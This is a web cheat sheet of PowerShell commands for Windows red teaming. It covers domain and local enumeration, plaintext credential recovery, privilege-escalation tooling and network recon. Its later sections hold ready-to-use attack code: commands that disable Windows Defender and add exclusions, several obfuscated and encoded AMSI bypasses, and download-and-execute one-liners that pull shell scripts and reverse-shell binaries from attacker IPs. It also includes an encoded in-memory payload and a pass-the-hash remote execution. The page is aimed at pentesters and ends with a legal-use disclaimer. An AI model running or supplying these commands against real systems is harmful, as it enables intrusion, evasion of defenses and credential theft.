Mastering PowerShell for Red Teaming and Security Audits

PowerShell is a powerful post-exploitation tool native to Windows, ideal for red teamers and offensive security professionals. This guide walks through core commands, live memory execution, file transfers, AMSI bypasses, and recon strategies that can be applied during engagements.

🔐 User and Group Enumeration

Users and Groups

💻
Local Users and Groups
Get-LocalUser | ft Name,Enabled,Description,LastLogon
#Lists all local user accounts with key properties like name, status, description, and last logon.

Get-ChildItem C:\Users -Force | Select Name
#Lists all user profile folders, including hidden ones, on the system.

Get-LocalGroupMember Administrators | ft Name, PrincipalSource 
#Lists members of the Administrators group, showing their name and where they come from (local, domain, etc.).
💻
Domain Users and Groups
#List all domain groups:
Get-ADGroup -Filter * | Select-Object Name

#Get details of a specific group (e.g., "Domain Admins"):
Get-ADGroup "Domain Admins" | Format-List *

#List members of a domain group:
Get-ADGroupMember "Domain Admins" | Select-Object Name, ObjectClass

#Recursive member listing (includes nested groups):
Get-ADGroupMember "Domain Admins" -Recursive | Select Name, ObjectClass

...........................................................................

#List all domain users:
Get-ADUser -Filter * | Select-Object Name, SamAccountName

Get-ADUser John
#Displays basic Active Directory user object info for user John. To get full properties, use:

#Get properties of a specific domain user (e.g., John):
Get-ADUser John -Properties * | Format-List

#List enabled users only:
Get-ADUser -Filter 'Enabled -eq $True' | Select Name, SamAccountName

#Find users with password never expires:
Get-ADUser -Filter * -Properties PasswordNeverExpires | Where-Object { $_.PasswordNeverExpires -eq $True } | Select Name

🔐 Credential Management

💻
Extract and Use Stored Credentials "from a secure string to plain text".
#Recover a plaintext password from an encrypted secure string (like one stored in Credential Manager)

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTBJohn"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : John
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
💻
Import Saved Credentials
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : John
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

🔐 Services, Scheduled Tasks, and Privilege Checks

💻
List Services
#See all services:
Get-Service

#Only running services:
Get-Service | Where-Object {$_.Status -eq "Running"}

#Format output:
Get-Service | Format-Table Name, Status, DisplayName
💻
List Scheduled Task
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "Microsoft*" } | Format-Table TaskName, TaskPath, State

#You can also use | Select * for full task details or check task actions via:

Get-ScheduledTask | Where { $_.TaskPath -notlike "Microsoft*" } | Get-ScheduledTaskInfo
💻
List Processes
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

#Lists all running processes excluding those with names starting with svchost and displays only the ProcessName and Id in a table format.
💻
Check ACLs and Permissions
Get-Acl -Path "C:\Program Files\Vuln Services" | Format-List

#This will show detailed permission entries such as the owner, access rights, and access control type (e.g., Allow/Deny) for that directory. Useful for auditing misconfigurations or privilege escalation vectors.

🔧 Privilege Escalation Checks

PowerUp and PrivescCheck are two popular PowerShell-based privilege escalation enumeration tools used by security professionals, red teamers, and pentesters during post-exploitation to identify local privilege escalation (LPE) opportunities on Windows systems.

💻
PowerUp
. .\PowerUp.ps1 #Import PowerUp Modules
Invoke-AllChecks #Runs all the enumeration checks PowerUp provides

#Save Output to a File
Invoke-AllChecks | Tee-Object -FilePath .\PowerUp-Results.txt

#If ExecutionPolicy blocks script execution:
Set-ExecutionPolicy Bypass -Scope Process
💻
PrivescCheck
. .\PrivescCheck.ps1 #Import PrivescCheck Modules
Invoke-PrivescCheck #Get detailed privilege escalation assessment

# Save output to a File
Invoke-PrivescCheck | Tee-Object -FilePath .\PrivescCheck-Results.txt

#If ExecutionPolicy blocks script execution:
Set-ExecutionPolicy Bypass -Scope Process

📊 Network and Environment Recon

💻
IP Discovery and Ping Sweep
Copy to clipboard
$ping = New-Object System.Net.Networkinformation.Ping

1..254 | % { $ping.send("10.10.14.$_") | select address, status }

#Sends ping requests to IPs in the 10.10.14.1 to 10.10.14.254 range
💻
Hosts
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
💻
Route
route print
💻
Interface
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

Get-DnsClientServerAddress -AddressFamily IPv4 | ft
💻
Firewall
Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow


# Get name, proto, local and remote ports, remote address, penable,profile and direction
#You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
💻
SNMP
Get-ChildItem -Path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

#Recursively lists all registry keys and values under the SNMP (Simple Network Management Protocol) service configuration in the Windows Registry. 

🔢 Post-Exploitation and Forensics

💻
Clipboard
Get-Clipboard
#Retrieves the current content from the Windows clipboard

#For more complex formats (like images or files), use:
Get-Clipboard -Format FileDropList
💻
PS-History
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"

# This reads your PowerShell command history from the default location where it's stored.
💻
Recycle Bin
$shell = New-Object -ComObject shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

⚖️ Remote Access and Defense Evasion

💻
WinRM Enabling (Remote PowerShell)
enable-psremoting -force #This enables winrm
💻
Enable RDP
#Enable RDP connections:
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0

#Allow RDP through Windows Firewall:
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

# Bypass RDP Restriction:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
💻
Disable Defender
#Check status
Get-MpComputerStatus
Get-MpPreference | Select DisableRealtimeMonitoring #To confirm if Defender is disabled
Get-MpPreference | select Exclusion* | fl #Check exclusions

#Disable AV Antivirus remotely:
atexec.py ws01/administrator@10.10.188.199 'powershell.exe -c "Set-MpPreference -DisableRealtimeMonitoring $true"' -hashes ':a29542cb2707bf6d6c1d2c9311b0ff02

#Disable
Set-MpPreference -DisableRealtimeMonitoring $true

#Registry-Based - To completely disable Windows Defender on a computer:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
  -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force

# Set exclusion path
Add-MpPreference -ExclusionPath "C:/users/john/Desktop"
Set-MpPreference -ExclusionPath "C:/users/john/Desktop"


#Set-MpPreference (Built-in Defender Cmdlets)
#Disables real-time monitoring, script scanning, IOAV (Internet-originated file scanning)
#Turns off controlled folder access, sets Network Protection to audit mode
#Disables Microsoft Active Protection Service (MAPS) participation and automatic sample submission.
Set-MpPreference `
  -DisableIntrusionPreventionSystem $true `
  -DisableIOAVProtection $true `
  -DisableRealtimeMonitoring $true `
  -DisableScriptScanning $true `
  -EnableControlledFolderAccess Disabled `
  -EnableNetworkProtection AuditMode `
  -Force `
  -MAPSReporting Disabled `
  -SubmitSamplesConsent NeverSend
  

AMSI Bypass Summary:
AMSI (amsi.dll) is injected into PowerShell processes to scan code in memory. Because it’s loaded into a process you control, you can bypass it by overwriting specific memory instructions and effectively disabling detection. Most bypass techniques target and patch amsi.dll in real-time to neutralize its scanning capabilities.

Try the AMSI Bypass Generator: https://amsi.fail/

💻
Methods:
    # A Method
    [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

    # Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1 
    $A="5492868772801748688168747280728187173688878280688776828"
    $B="1173680867656877679866880867644817687416876797271"
    [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
    substring(($_*2),2))})-replace " " ).
    GetField([string](38..51|%{[char][int](29+($A+$B).
    substring(($_*2),2))})-replace " ",'NonPublic,Static').
    SetValue($null,$true)


    # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
    [Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)


    # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
    &( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( ) 


    # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
    ${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')

    ${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')

    ${1}.SetValue($null,$true)



    # Another Method
    $a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
    $assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
    $field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
    $field.SetValue($null,$true)


    # AMSI Bypass in python
    https://fluidattacks.com/blog/amsi-bypass-python/


    # Testing for Amsi Bypass:
    https://github.com/rasta-mouse/AmsiScanBufferBypass


    # Amsi-Bypass-Powershell
    https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

    https://blog.f-secure.com/hunting-for-amsi-bypasses/
    https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
    https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
    https://slaeryan.github.io/posts/falcon-zero-alpha.html

🔮 PowerView and SharpView

🌐
Domain Enum
PowerView: Script-based, great for live AD environments with PowerShell access.

SharpView: Part of the Sharp toolset (e.g., SharpHound); more OPSEC-safe and often used in C2 infrastructure or compiled payloads.

#Download and load PowerView into memory using:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

🔍 Finding PowerShell

💻
PowerShell is located at:
C:\Windows\System64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Always verify which version is in use.

💡 Core Commands for Enumeration

💻
Run PS commands remotely
atexec.py ws01/administrator@10.10.188.199 whoami

#If you want to provide the password inline - (Avoid passing plaintext passwords inline unless you're in a controlled lab environment):
atexec.py ws01/administrator:YourPassword@10.10.188.199 whoami

atexec.py ws01/administrator@10.10.188.199 'powershell -Command "whoami \$true"'
#After running this, you'll be prompted to enter the password.

Use the backslash (\) to escape the dollar sign ($) in PowerShell only when the command is being passed inside quotes, especially in In Linux or bash-like shells (like when using Impacket tools).

💻
Use built-in PowerShell commands to explore the system:
Get-Help * #List everything loaded

Get-Help process #List everything containing "process"

Get-Help Get-Item -Full #Get full helpabout a topic

Get-Help Get-Item -Examples #List examples

Import-Module <modulepath>

Get-Command -Module <modulename>

You can also use Set-ExecutionPolicy Bypass to disable script restrictions temporarily during assessments. powershell.exe -ep bypass

💻
OS Version | HotFixes
[System.Environment]::OSVersion.Version #Current OS version

Get-WmiObject -Query 'select * from win32_quickfixengineering' | ForEach-Object { $_.HotFixID }
#List all patches

Get-Hotfix -description "Security update" #List only "Security Update" patches
💻
List all environment variables:
Copy to clipboard
Get-ChildItem Env: | ft Key,Value

#Displays all environment variables in a table with their names (Key) and values. 

$env:UserName

#Returns the name of the currently logged-in user (e.g., john).
💻
Lists all mounted file system drives
Get-PSDrive | Where-Object { $_.Provider -like "Microsoft.PowerShell.Core\FileSystem" } | Format-Table Name, Root

#This helps identify mounted drives (like C:\, D:\, or mapped network drives) in the current session.

📥 Downloading & Running Remote Scripts

Payload delivery can be done using methods like:

💻
Download and Execute Methods:
powershell -c IEX(New-Object Net.WebClient).downloadstring('http://10.10.14.16/PowerUp.ps1') #Transfer and exeute

echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.16:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.14.16/shell.ps1')|iex"

iex (iwr '10.10.14.16:8000/ipw.ps1') #From PSv3
💻
Invoke-WebRequest Method:
powershell -c "Invoke-WebRequest -Uri http://10.10.0.255:8000/nc.exe -OutFile C:\Temp\nc.exe" #Download only
💻
System.Net.WebClient Method:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.16:80/revshell.exe","C:/users/john/Desktop/revshell.exe")
💻
Wget Method:
wget "http://10.10.14.16/rev.exe" -OutFile "C:/Temp/rev.exe"
💻
BitsTransfer Method:
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output

# OR

Start-BitsTransfer -Source $url -Destination $output -Asynchronous
💻
Execute in memory AMSI Bypass
    Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" 

💻
Using Base64 from linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.16/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0

powershell -nop -enc <BASE64_ENCODED_PAYLOAD>


This article is for learning and legal security testing only. The author is not responsible for any misuse or damage caused, especially on unauthorized systems. If you choose to apply the information, you do so at your own risk and must ensure you have proper permission to test your targets.

Scroll to Top